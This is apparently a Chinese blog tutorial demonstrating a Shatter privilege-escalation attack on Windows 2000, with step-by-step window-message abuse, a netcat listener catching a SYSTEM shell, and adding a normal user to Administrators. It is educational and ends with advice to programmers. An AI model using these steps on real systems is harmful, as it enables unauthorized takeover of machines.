在Win2000中提升权限的实例及心得我现在来演示一下使用Shatter攻击SimpleService的过程,看看普通用户“moda”是怎么样通过Shatter提升权限的: 先以普通用户“moda”登录,看看本地Administrators组当前的成员: Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp. D:\MyJob\tool\netcat>net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the Members ----------------------------------------------------------------------------- Administrator The command completed successfully. 本地Administrators组只有Administrator一个成员。我们试一下能不能把“moda”加入到本地Administrators组。 D:\MyJob\tool\netcat>net localgroup administrators /add moda System error 5 has occurred. Access is denied. 很惨呀,得了一个“Access is denied.”的错误。 下面运行程序Client,向SimpleService发送几个字节,於是SimpleService在普通用户“moda”的Desktop上产生一个对话框: 这个对话框上有两个Edit Controls,一个对应着“Number Of Hit”,这里输出SimpleService的Named Pipe被访问的次数;一个对应着“Message Back”,这里输出SimpleService的Message。这两个Edit都可以被攻击利用,不过我这里以“Message Back”的Edit为例。让我们运行FOON的攻击程序Shatter: 第一步: 我们需要扩大Edit的尺寸(Size)。大家从SimpleService的源程序中可以看到,“Message Back”的Edit只允许40个char,而jill的黑客码显然超过了这个长度,所以我们就通过Shatter向这个Edit的柄Handler发送EM_SETLIMITEXT,把它的尺寸扩大到0xffffffff(见下图)。 第二步: 把FOON改编的jill黑客码拷贝到Clipboard上,然后往Edit发送WM_PASTE,你可以看到Edit中马上堆积了一长串乱七八糟的字符,这就是jill黑客码。 第三步: 利用Windbg去寻找jill黑客码在Window内存中的地址,这个过程FOON已经讲得很清楚了,所以就不用我罗嗦了。在dallas上我得到的地址是在0x1389c0附近。 第四步: 另外打开一个Dos窗口运行netcat,我们准备与打入敌营的侦察兵jill联络: D:\MyJob\tool\netcat> D:\MyJob\tool\netcat>nc -lp 123 第五步: 向Edit发送WM_TIMER,让Window进程跳去执行从0x1389c0开始的黑客码。你马上就能看到netcat开始收到了jill发回来的内容,它输出一些版权信息。 D:\MyJob\tool\netcat> D:\MyJob\tool\netcat>nc -lp 123 Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp. 第六步: 现在你就可以通过netcat与Window进程中的cmd Shell联系,可以向它发送命令,从它那里得到命令运行结果。这个cmd Shell具有Local System的权限,所以我们可以轻易地把普通用户“moda”加入到本地Administrators组中: D:\WINNT\system32>net localgroup administrators /add moda net localgroup administrators /add moda The command completed successfully. D:\WINNT\system32>net localgroup administrators net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the Members ----------------------------------------------------------------------------- Administrator moda The command completed successfully. D:\WINNT\system32> D:\WINNT\system32> 以上就是我演示Microsoft这个缺陷的过程,虽说我有意把SimpleServic设计得易于黑客攻击,但实际上还有不少的流行的程序也是犯了同样的错误,象FOON文章中提及的Network Associates VirusScan v4.5.1, 还有我最喜欢用的WinVNC等等,它们都在普通用户的Desktop上创建了一个具有Local System权限的Window。 各位,编程序时要记住不要在阿猫阿狗的Desktop上创建Window啊!如果你给它们机会,阿猫阿狗也会成精的! 结尾的话: 提升权限的方法还有很多种,比如说可以直接用破密码的软件来获得Administrator的密码、可以利用系统进程缓冲区溢出来运行更高权限的黑客码等等,我这里只是挂一漏万地介绍其中几个。 上一篇: 自动安装Windows2000系统 下一篇: 怎么样让Win2000系统达到最佳性能 更多相关文章
|
推荐文章
精彩文章
|